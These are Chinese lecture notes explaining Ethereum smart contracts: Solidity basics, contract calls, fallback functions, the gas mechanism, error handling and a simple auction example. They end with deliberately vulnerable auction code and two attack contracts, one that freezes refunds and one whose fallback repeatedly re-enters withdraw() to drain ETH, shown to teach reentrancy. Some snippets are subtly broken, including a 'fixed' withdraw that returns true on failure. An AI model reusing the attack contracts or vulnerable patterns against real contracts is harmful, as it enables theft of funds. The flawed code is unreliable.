

22 ETH的智能合约

什么是智能合约?

智能合约是运行在区块链上的一段代码，代码的逻辑定义了合约的内容

智能合约的账户保存了合约当前的运行状态

balance: 当前余额

nonce: 交易次数

code: 合约代码

storage: 存储，数据结构是一棵MPT

Solidity是智能合约最长用的语言，语法上与Java Script很接近

```
pragma solidity ^0.4.21;

contract SimpleAuction {
    address public beneficiary; //拍卖受益人
    uint public auctionEnd; //结束时间
    address public highestBidder; //当前的最高出价人
    mapping(address => uint) bids; //所有竞拍者的出价
    address[] bidders; //所有竞拍者

    // 需要记录的事件
    event HighestBidIncreased(address bidder, uint amount);
    event Pay2Beneficiary(address winner, uint amount);

    /// 以受益者地址`_beneficiary`的名义,
    /// 创建一个简单的拍卖, 拍卖时间为`_biddingTime`秒。
    constructor(uint _biddingTime, address _beneficiary)
        public {
        beneficiary = _beneficiary;
        auctionEnd = now + _biddingTime;
    }

    /// 对拍卖进行出价, 随交易一起发送的ether与之前已经发送的
    /// ether的和为本次出价。
    function bid() public payable {
    }

    /// 使用withdraw模式
    /// 由投标者自己取回出价, 返回是否成功
    function withdraw() public returns (bool) {
    }

    /// 结束拍卖, 把最高的出价发送给受益人
    function pay2Beneficiary() public returns (bool) {
    }
}
```

声明使用solidity的版本

状态变量

log记录

构造函数，仅在合约创建时调用一次

成员函数，可以被一个外部账户或合约账户调用

本实例改编自Solidity文档：简单的公开拍卖

payable（接收外部转账的能力）是必须要有接收钱的能力。bid竞拍的时候必须真的有那么多钱，智能合约需要锁定这么多钱。

如何调用一个智能合约？

外部账户如何调用智能合约？

创建一个交易，接收地址为要调用的那个智能合约的地址，data域填写要调用的函数及其参数的编码值。

TX 0x73275297b391f3e08b1cc7144d7ab5fcf77fecee92b46ca9ec2946f56ebf8ea2				
SENDER ADDRESS 0x903db0EbD4206669Ab50BCF93c550df9b5Da178c		TO CONTRACT ADDRESS 0x5E31d519A6F34d224C25B706687EE2AbF170B888	CONTRACT CALL	
VALUE 0.00 ETH	GAS USED 21657	GAS PRICE 1000000000	GAS LIMIT 6000000	MINED IN BLOCK 3
TX DATA 0x2a24f46c				

合约调用合约

一个合约如何调用另一个合约中的函数？

1. 直接调用

```
3 contract A {
4     event LogCallFoo(string str);
5     function foo(string str) returns (uint){
6         emit LogCallFoo(str);
7         return 123;
8     }
9 }
10
11 contract B {
12     uint ua;
13     function callAFooDirectly(address addr) public{
14         A a = A(addr);
15         ua = a.foo("call foo directly");
16     }
17 }
```

- 如果在执行a.foo()过程中抛出错误，则callAFooDirectly也抛出错误，本次调用全部回滚。
- ua为执行a.foo("call foo directly")的返回值
- 可以通过.gas() 和 .value() 调整提供的gas数量或提供一些ETH

B接受一个A的地址，然后转换成一个A的实例，然后调用。如果调用的过程中，A合约的代码报错了，会导致B跟着一起报错

使用address类型的call()函数

```
contract C {
    function callAFooByCall(address addr) public returns (bool){
        bytes4 funcSig = bytes4(keccak256("foo(string)"));
        if (addr.call(funcSig,"call foo by func call"))
            return true;
        return false;
    }
}
```

- 第一个参数被编码成4个字节，表示要调用的函数的签名。
- 其它参数会被扩展到32字节，表示要调用函数的参数。
- 上面的这个例子相当于A(addr).foo("call foo by func call")
- 返回一个布尔值表明了被调用的函数已经执行完毕(true)或者引发了一个EVM异常(false)，无法获取函数返回值。
- 也可以通过.gas()和.value()调整提供的gas数量或提供一些ETH

这种调用的好处是如果被调用的合约中报错了的话，不会导致当前的合约也跟着一起报错。

代理调用 delegatecall()

- 使用方法与call()相同，只是不能使用.value()
- 区别在于是否切换上下文
 - call()切换到被调用的智能合约上下文中
 - delegatecall()只使用给定地址的代码，其它属性（存储，余额等）都取自当前合约。delegatecall的目的是使用存储在另外一个合约中的库代码。

fallback()函数

```
function() public payable{  
    .....  
}
```

- 匿名函数，没有参数也没有返回值。
- 在两种情况下会被调用：
 - 直接向一个合约地址转账而不加任何data
 - 被调用的函数不存在
- 如果转账金额不是0，同样需要声明payable，否则会抛出异常。

如果data域中没有写调用的函数，或者调用的函数不存在，默认调用fallback函数，一般都是写成payable。这样就可以接受别人的转账，比如说别人凭空给你转账一笔钱（没有写调用哪个函数），如果fallback不payable，就没有办法凭空收款。需要注意的是，转账是转账的钱，汽油费是汽油费。

智能合约的创建和运行

- 智能合约的代码写完后，要编译成bytecode
- 创建合约：外部帐户发起一个转账交易到0x0的地址
 - 转账的金额是0，但是要支付汽油费
 - 合约的代码放在data域里
- 智能合约运行在EVM (Ethereum Virtual Machine) 上
- 以太坊是一个交易驱动的状态机
 - 调用智能合约的交易发布到区块链上后，每个矿工都会执行这个交易，从当前状态确定性地转移到下一个状态

汽油费 (gas fee)

- 智能合约是个Turing-complete Programming Model
 - 出现死循环怎么办？
- 执行合约中的指令要收取汽油费，由发起交易的人来支付

```
type txdata struct {
    AccountNonce uint64      `json:"nonce" gencodec:"required"`
    Price        *big.Int     `json:"gasPrice" gencodec:"required"`
    GasLimit     uint64      `json:"gas" gencodec:"required"`
    Recipient    *common.Address `json:"to" rlp:"nil" // nil means contract creation`
    Amount       *big.Int     `json:"value" gencodec:"required"`
    Payload      []byte       `json:"input" gencodec:"required"`
}
```

- EVM中不同指令消耗的汽油费是不一样的
 - 简单的指令很便宜，复杂的或者需要存储状态的指令就很贵

没有办法检测死循环（其实就是停机问题Halting problem），所以引入汽油费机制。Gaslimit是我愿意支付的最大汽油量，price是汽油的单位价格。Amount是支付的以太币数量。

以太坊的执行存在原子性，要么全部执行，要么全部不执行。比如说合约报错，或者给的汽油费不够的时候，就会回滚已经执行的内容。（但汽油费不会退，防止恶意攻击）

错误处理

- 智能合约中不存在自定义的try-catch结构
- 一旦遇到异常，除特殊情况外，本次执行操作全部回滚
- 可以抛出错误的语句：
 - assert(bool condition):如果条件不满足就抛出—用于内部错误。
 - require(bool condition):如果条件不满足就抛掉—用于输入或者外部组件引起的错误。

```
function bid() public payable {  
    // 对于通过代码充值的场景，调用 payable 是必须的。  
  
    // 到期的拍卖  
    require(now <= auctionEnd);
```

- revert():终止运行并回滚状态变动。

嵌套调用

- 智能合约的执行具有原子性：执行过程中出现错误，会导致回滚
- 嵌套调用是指一个合约调用另一个合约中的函数
- 嵌套调用是否会触发连锁式的回滚？
 - 如果被调用的合约执行过程中发生异常，会不会导致发起调用的这个合约也跟着一起回滚？
 - 有些调用方法会引起连锁式的回滚，有些则不会
- 一个合约直接向一个合约帐户里转账，没有指明调用哪个函数，仍然会引起嵌套调用

区块块头里面有两个域，一个是Gaslimit，一个是Gasused。GasLimit是用来限制一个区块最多可以消耗多少汽油费。Gasused是这个区块一共消耗了多少汽油。在比特币中，一个区块最多只能是1MB，用来限制区块消耗资源的多少。而以太坊用Gaslimit来限制一个区块消耗资源的多少。但比特币中，没有办法对1MB的限制进行调整，但是以太坊中每次出块的时候矿工可以自己上调1/1024或者下调1/1024。这样过一段时间之后，系统中的gaslimit就会趋近于大家的集体意见。

Block Header

```
69 // Header represents a block header in the Ethereum blockchain.
70 type Header struct {
71     ParentHash common.Hash `json:"parentHash" gencodec:"required"`
72     UncleHash  common.Hash `json:"sha3Uncles" gencodec:"required"`
73     Coinbase   common.Address `json:"miner" gencodec:"required"`
74     Root       common.Hash `json:"stateRoot" gencodec:"required"`
75     TxHash     common.Hash `json:"transactionsRoot" gencodec:"required"`
76     ReceiptHash common.Hash `json:"receiptsRoot" gencodec:"required"`
77     Bloom      Bloom `json:"logsBloom" gencodec:"required"`
78     Difficulty *big.Int `json:"difficulty" gencodec:"required"`
79     Number     *big.Int `json:"number" gencodec:"required"`
80     GasLimit   uint64 `json:"gasLimit" gencodec:"required"`
81     GasUsed    uint64 `json:"gasUsed" gencodec:"required"`
82     Time       *big.Int `json:"timestamp" gencodec:"required"`
83     Extra      []byte `json:"extraData" gencodec:"required"`
84     MixDigest  common.Hash `json:"mixHash" gencodec:"required"`
85     Nonce      BlockNonce `json:"nonce" gencodec:"required"`
86 }
```

全节点是先挖矿，还是先执行智能合约的调用？注意：所有的全节点必须都执行转账或者智能合约调用，这样才能保证全节点的状态都是一致的。

状态树，交易树，收据树都是在全节点本地保存。所以扣除最大汽油费的时候，是只在本地操作。如果多了就在本地退回去。然后挖到矿才能发布到区块链上。块头里面有三棵树的哈希值，所以必须先执行交易和智能合约，更新三棵树的状态，然后再挖矿。

但是如果没挖到矿，那么这个矿工需要回滚本地的执行记录，然后把新发布的区块中的内容在本地执行一遍来验证。这样没挖到矿的矿工，啥也得不到了。那如果没挖到矿的矿工，想不开了，就不验证（验证的话还得消耗资源），就默认新发布的区块是对的。但如果验证的话，本地的三棵树的状态是不对的。因为发布的区块里面，块头里面只有三棵树的哈希值，块里面只有交易内容和合约调用。所以就强制所有的全节点必须在本地独立验证了。

还有一种做法就是矿池的做法，就是一个全节点验证之后，所有矿工都直接抄过来三棵树的状态。（一人做作业，全班不用愁）

执行发生错误的智能合约调用，也需要发布到区块链上，要不然汽油费就扣不掉了。

Receipt数据结构

```
45 // Receipt represents the results of a transaction.
46 type Receipt struct {
47     // Consensus fields
48     PostState      []byte `json:"root"`
49     Status         uint64 `json:"status"`
50     CumulativeGasUsed uint64 `json:"cumulativeGasUsed" gencodec:"required"`
51     Bloom          Bloom `json:"logsBloom"           gencodec:"required"`
52     Logs           []*Log `json:"logs"              gencodec:"required"`
53
54     // Implementation fields (don't reorder!)
55     TxHash         common.Hash `json:"transactionHash" gencodec:"required"`
56     ContractAddress common.Address `json:"contractAddress"`
57     GasUsed        uint64    `json:"gasUsed"   gencodec:"required"`
58 }
```

Solidity是不支持多线程的，因为多线程会导致执行结果的不确定性。但是以太坊的执行结果必须是一致的。多线程生成随机数就是不确定的。

智能合约可以获得的区块信息

- `block.blockhash(uint blockNumber) returns (bytes32)`: 给定区块的哈希—仅对最近的 256 个区块有效而不包括当前区块
- `block.coinbase (address)`: 挖出当前区块的矿工地址
- `block.difficulty (uint)`: 当前区块难度
- `block.gaslimit (uint)`: 当前区块 gas 限额
- `block.number (uint)`: 当前区块号
- `block.timestamp (uint)`: 自 unix epoch 起始当前区块以秒计的时间戳

智能合约可以获得的调用信息

- `msg.data` (`bytes`): 完整的 calldata
- `msg.gas` (`uint`): 剩余 gas
- `msg.sender` (`address`): 消息发送者 (当前调用)
- `msg.sig` (`bytes4`): calldata 的前 4 字节 (也就是函数标识符)
- `msg.value` (`uint`): 随消息发送的 wei 的数量
- `now` (`uint`): 目前区块时间戳 (`block.timestamp`)
- `tx.gasprice` (`uint`): 交易的 gas 价格
- `tx.origin` (`address`): 交易发起者 (完全的调用链)

地址类型

`<address>.balance (uint256):`

以 Wei 为单位的 地址类型 的余额。

`<address>.transfer(uint256 amount) :`

向 地址类型 发送数量为 amount 的 Wei，失败时抛出异常，发送 2300 gas 的矿工费，不可调节。

`<address>.send(uint256 amount) returns (bool) :`

向 地址类型 发送数量为 amount 的 Wei，失败时返回 `false`，发送 2300 gas 的矿工费用，不可调节。

`<address>.call(...) returns (bool) :`

发出底层 `CALL`，失败时返回 `false`，发送所有可用 gas，不可调节。

`<address>.callcode(...) returns (bool) :`

发出底层 `CALLCODE`，失败时返回 `false`，发送所有可用 gas，不可调节。

`<address>.delegatecall(...) returns (bool) :`

发出底层 `DELEGATECALL`，失败时返回 `false`，发送所有可用 gas，不可调节。

所有智能合约均可显式地转换成地址类型

address是收钱的人的地址，也是调用合约的人

transfer报错会导致连锁回滚，但是send是不会导致连锁回滚。call也可以间接发起调用，也不会导致连锁回滚。

从一个例子开始：简单拍卖

```
1 pragma solidity ^0.4.21;
2
3 - contract SimpleAuctionV1 {
4     address public beneficiary;           // 拍卖受益人
5     uint public auctionEnd;              // 结束时间
6     address public highestBidder;        // 当前的最高出价人
7     mapping(address => uint) bids;      // 所有竞拍者的出价
8     address[] bidders;                 // 所有竞拍者
9     bool ended;                        // 拍卖结束后设为true
10
11    // 需要记录的事件
12    event HighestBidIncreased(address bidder, uint amount);
13    event AuctionEnded(address winner, uint amount);
14
15    /// 以受益者地址 `beneficiary` 的名义,
16    /// 创建一个简单的拍卖, 拍卖时间为 `biddingTime` 秒。
17 - constructor(uint _biddingTime,address _beneficiary) public {
18     beneficiary = _beneficiary;
19     auctionEnd = now + _biddingTime;
20 }
```

beneficiary是受益人，每个人都可以竞拍，竞拍的时候为了保证诚信，合约需要锁死对应的钱数。（不允许中途退出）拍卖的时候竞拍，多次出价的时候（加价）只需要补差价就可以了。最后胜出的人，需要获得这个竞拍的物品。

```
/// 对拍卖进行出价
/// 随交易一起发送的ether与之前已经发送的ether的和为本次出价
function bid() public payable {
    // 对于能接收以太币的函数，关键字 payable 是必须的。

    // 拍卖尚未结束
    require(now <= auctionEnd);
    // 如果出价不够高，本次出价无效，直接报错返回
    require(bids[msg.sender]+msg.value > bids[highestBidder]);

    // 如果此人之前未出价，则加入到竞拍者列表中
    if (!bids[msg.sender] == uint(0)) {
        bidders.push(msg.sender);
    }
    // 本次出价比当前最高价高，取代之
    highestBidder = msg.sender;
    bids[msg.sender] += msg.value;
    emit HighestBidIncreased(msg.sender, bids[msg.sender]);
}
```

```
/// 结束拍卖，把最高的出价发送给受益人，
/// 并把未中标的出价者的钱返还
function auctionEnd() public {
    // 拍卖已截止
    require(now > auctionEnd);
    // 该函数未被调用过
    require(!ended);

    // 把最高的出价发送给受益人
    beneficiary.transfer(bids[highestBidder]);
    for (uint i = 0; i<bidders.length;i++){
        address bidder = bidders[i];
        if (bidder == highestBidder) continue;
        bidder.transfer(bids[bidder]);
    }

    ended = true;
    emit AuctionEnded(highestBidder, bids[highestBidder]);
}
```

这样的问题是竞拍结束之后，必须有人主动调用auctionEnd，要么是受益人，要么是一个没竞拍成功的。

```

1  pragma solidity ^0.4.21;
2
3  import "./SimpleAuctionV1.sol";
4
5  contract hackV1 {
6
7      function hack_bid(address addr) payable public {
8          SimpleAuctionV1 sa = SimpleAuctionV1(addr);
9          sa.bid.value(msg.value)();
10     }
11
12 }
13

```

如果通过这个hackV1来竞拍，如果没有竞拍到，退款的时候需要调用hackV1里面的transfer，但是hackV1里面没有transfer而且hackV1里面也没有fallback函数，会导致整个报错。这样的话，整个竞拍auctionEnd的执行都需要回滚。这个时候大家的钱都锁在里面了，没有办法拿出来。Code is law，这样的好处是区块链保证只能合约代码的无法篡改性，但是如果代码有bug或者是漏洞的话，也没有办法改了。premining的时候一般都是通过智能合约，锁死一定时间之后才能取出来。irrevocable trust不可撤销的信托。就是通过法律来锁死钱，这个时候也存在因为法律漏洞而完全锁死这笔钱。

第二版：由投标人自己收回出价

```

36  /// 使用withdraw模式
37  /// 由投标人自己收回出价，返回是否成功
38  function withdraw() public returns (bool) {
39      // 拍卖已截止
40      require(now > auctionEnd);
41      // 竞拍成功者需要把钱给受益人，不可收回出价
42      require(msg.sender!=highestBidder);
43      // 当前地址有钱可取
44      require(bids[msg.sender] > 0);
45
46      uint amount = bids[msg.sender];
47      if (msg.sender.call.value(amount)()) {
48          bids[msg.sender] = 0;
49          return true;
50      }
51      return false;
52  }

54  event Pay2Beneficiary(address winner, uint amount);
55  // 结束拍卖，把最高的出价发送给受益人
56  function pay2Beneficiary() public returns (bool) {
57      // 拍卖已截止
58      require(now > auctionEnd);
59      // 有钱可以支付
60      require(bids[highestBidder] > 0);
61
62      uint amount = bids[highestBidder];
63      bids[highestBidder] = 0;
64      emit Pay2Beneficiary(highestBidder, bids[highestBidder]);
65
66      if (!beneficiary.call.value(amount)()) {
67          bids[highestBidder] = amount;
68          return false;
69      }
70      return true;
71  }

```

重入攻击 (Re-entrancy Attack)

- 当合约账户收到ETH但未调用函数时，会立刻执行fallback()函数
- 通过addr.send()、addr.transfer()、addr.call.value()()三种方式付钱都会触发addr里的fallback函数。
- fallback()函数由用户自己编写

```
36  /// 使用withdraw模式
37  /// 由投标者自己取回出价，返回是否成功
38  function withdraw() public returns (bool) {
39      // 拍卖已截止
40      require(now > auctionEnd);
41      // 竞拍成功者需要把钱给受益人，不可取回出价
42      require(msg.sender!=highestBidder);
43      // 当前地址有钱可取
44      require(bids[msg.sender] > 0);
45
46      uint amount = bids[msg.sender];
47      if (msg.sender.call.value(amount)()) {
48          bids[msg.sender] = 0;
49          return true;
50      }
51      return false;
52 }
```

```
pragma solidity ^0.4.21;

import "./SimpleAuctionV2.sol";

contract HackV2 {
    uint stack = 0;

    function hack_bid(address addr) payable public {
        SimpleAuctionV2 sa = SimpleAuctionV2(addr);
        sa.bid.value(msg.value)();
    }

    function hack_withdraw(address addr) public payable{
        SimpleAuctionV2(addr).withdraw();
    }

    function() public payable{
        stack += 2;
        if (msg.sender.balance >= msg.value && msg.gas > 6000 && stack < 500){
            SimpleAuctionV2(msg.sender).withdraw();
        }
    }
}
```

这个时候竞拍合约调用msg.sender.call.value(amount)的时候，黑客合约里面并没有value这个函数，所以就会默认调用fallback函数。然后黑客合约中的fallback函数又重复的调用拍卖合约中的withdraw，二者来回互相调用。这样就可以一直从拍卖合约中往外取钱。

解决这个问题的两种方式，一个是和给受益人转账一样，先把余额改成0，再转账，如果不成功就恢复。第二个就是不用call.value()，而是用send。send和transfer的好处是gas fee很少，只够写一条log，不够发起新的调用了。

修改前

```
/// 使用withdraw模式
/// 由投标者自己取回出价，返回是否成功
function withdraw() public returns (bool) {
    // 拍卖已截止
    require(now > auctionEnd);
    // 竞拍成功者需要把钱给受益人，不可取回出价
    require(msg.sender!=highestBidder);
    // 当前地址有钱可取
    require(bids[msg.sender] > 0);

    uint amount = bids[msg.sender];
    if (msg.sender.call.value(amount)()) {
        bids[msg.sender] = 0;
        return true;
    }
    return false;
}
```

修改后

```
/// 使用withdraw模式
/// 由投标者自己取回出价，返回是否成功
function withdraw() public returns (bool) {
    // 拍卖已截止
    require(now > auctionEnd);
    // 竞拍成功者需要把钱给受益人，不可取回出价
    require(msg.sender!=highestBidder);
    // 当前地址有钱可取
    require(bids[msg.sender] > 0);

    uint amount = bids[msg.sender];
    bids[msg.sender] = 0;
    if (!msg.sender.send(amount)) {
        bids[msg.sender] = amount;
        return true;
    }
    return false;
}
```